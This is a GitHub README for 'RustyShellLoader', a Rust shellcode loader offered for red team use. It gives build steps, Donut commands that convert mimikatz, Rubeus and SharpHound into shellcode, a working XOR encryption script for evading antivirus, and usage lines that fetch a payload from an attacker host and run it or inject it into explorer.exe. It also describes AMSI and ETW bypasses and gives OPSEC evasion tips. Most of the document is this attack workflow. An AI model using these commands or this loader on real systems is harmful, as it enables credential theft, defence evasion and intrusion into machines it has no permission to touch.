Skip to content

tyto-sec/RustyShellLoader

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 

Repository files navigation

RustyShellLoader

A Rust-based shellcode loader designed for red team operations. Loads Donut-generated shellcode from disk or remote URLs, with XOR decryption, AMSI/ETW bypass, and process injection support.

Features

  • Local & Remote Loading — Load shellcode from a file or HTTP/HTTPS URL
  • XOR Encryption — Runtime decryption of pre-encrypted payloads to evade static analysis
  • AMSI Bypass — Patches AmsiScanBuffer in-memory
  • ETW Bypass — Patches EtwEventWrite to blind event tracing
  • RW → RX Memory — Avoids suspicious RWX allocations
  • Process Injection — Inject into remote processes via CreateRemoteThread
  • Zero Dependencies — No external crates; all Windows API via FFI
  • HTTPS Support — Native WinHTTP with self-signed cert bypass

Building

Requirements

Native (Windows)

cargo build --release

The binary will be at target\release\loader.exe.

Cross-Compile (Linux → Windows x64)

# Install the Windows target
rustup target add x86_64-pc-windows-gnu

# Install MinGW toolchain
sudo apt install mingw-w64 gcc-mingw-w64-x86-64 -y

# Build
cargo build --release --target x86_64-pc-windows-gnu

The binary will be at target/x86_64-pc-windows-gnu/release/loader.exe.

Cross-Compile (Linux → Windows x86)

rustup target add i686-pc-windows-gnu
sudo apt install gcc-mingw-w64-i686 -y
cargo build --release --target i686-pc-windows-gnu

Generating Shellcode with Donut

Donut converts PE executables (.exe, .dll), .NET assemblies, and scripts into position-independent shellcode.

Install Donut

# Linux
git clone https://github.com/TheWover/donut.git
cd donut
make

# Or use the Python module
pip install donut-shellcode

Generate Shellcode

# Basic — convert an EXE to shellcode
./donut -i mimikatz.exe -o payload.bin

# With specific parameters
./donut -i Rubeus.exe -o rubeus.bin -p "kerberoast" -a 2

# .NET assembly
./donut -i SharpHound.exe -o sharphound.bin -a 2

Common Donut flags:

Flag Description
-i Input file (exe, dll, .NET assembly)
-o Output shellcode file
-a Architecture: 1 = x86, 2 = x64, 3 = both
-p Command-line arguments for the payload
-e Entropy: 1 = none, 2 = random names, 3 = random + encryption (default)

Encrypting Payloads with XOR

Encrypting the shellcode prevents static signature detection. The loader decrypts it at runtime.

encrypt.py

# encrypt.py
import sys
import itertools

def xor_encrypt(input_file, output_file, key):
    with open(input_file, "rb") as f:
        data = f.read()
    
    encrypted = bytes(b ^ k for b, k in zip(data, itertools.cycle(key.encode())))
    
    with open(output_file, "wb") as f:
        f.write(encrypted)
    
    print(f"[+] Encrypted {len(data)} bytes with key '{key}'")
    print(f"[+] Saved to {output_file}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python encrypt.py <input.bin> <output.bin> <key>")
        sys.exit(1)
    
    xor_encrypt(sys.argv[1], sys.argv[2], sys.argv[3])

Encrypt a Payload

python encrypt.py payload.bin payload_enc.bin Sup3rS3cr3tK3y!2026

Use long, random keys (16+ characters) to avoid easy pattern detection.


Usage

Basic — Local Shellcode

loader.exe payload.bin

Remote — Download and Execute

loader.exe http://192.168.100.59:8443/payload.bin
loader.exe https://10.10.14.5/payload.bin

XOR Encrypted Payload

loader.exe --xor Sup3rS3cr3tK3y!2026 payload_enc.bin

XOR + Remote

loader.exe --xor Sup3rS3cr3tK3y!2026 http://192.168.100.59:8443/payload_enc.bin

Process Injection

# Inject into PID 4728
loader.exe --inject 4728 payload.bin

# Inject with XOR + Remote
loader.exe --inject 4728 --xor Sup3rS3cr3tK3y!2026 http://192.168.100.59:8443/payload_enc.bin

Full Workflow Example

# ──── On your Linux attack box ────

# 1. Generate shellcode from target binary
./donut -i mimikatz.exe -o payload.bin -a 2

# 2. Encrypt the shellcode
python encrypt.py payload.bin payload_enc.bin Rud0lph_Th3_R3d

# 3. Serve it over HTTP
python3 -m http.server 8443

# ──── On the Windows target ────

# 4a. Execute in current process
loader.exe --xor Rud0lph_Th3_R3d http://192.168.100.59:8443/payload_enc.bin

# 4b. Or inject into explorer.exe (find PID first)
tasklist | findstr explorer
loader.exe --inject 3192 --xor Rud0lph_Th3_R3d http://192.168.100.59:8443/payload_enc.bin

OPSEC Notes

  • The loader patches AMSI and ETW before loading any shellcode
  • Memory is allocated as RW then flipped to RX (no RWX)
  • HTTPS mode ignores certificate errors — use self-signed certs freely
  • XOR-encrypted payloads on disk are unrecognizable to static AV scanners
  • The binary has zero Rust crate dependencies, reducing supply-chain fingerprinting
  • --inject uses CreateRemoteThread — consider targeting long-lived processes like explorer.exe or svchost.exe

Project Structure

RustyShellLoader/
├── Cargo.toml
├── encrypt.py
├── README.md
└── src/
    └── main.rs

About

Rust shellcode loader.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors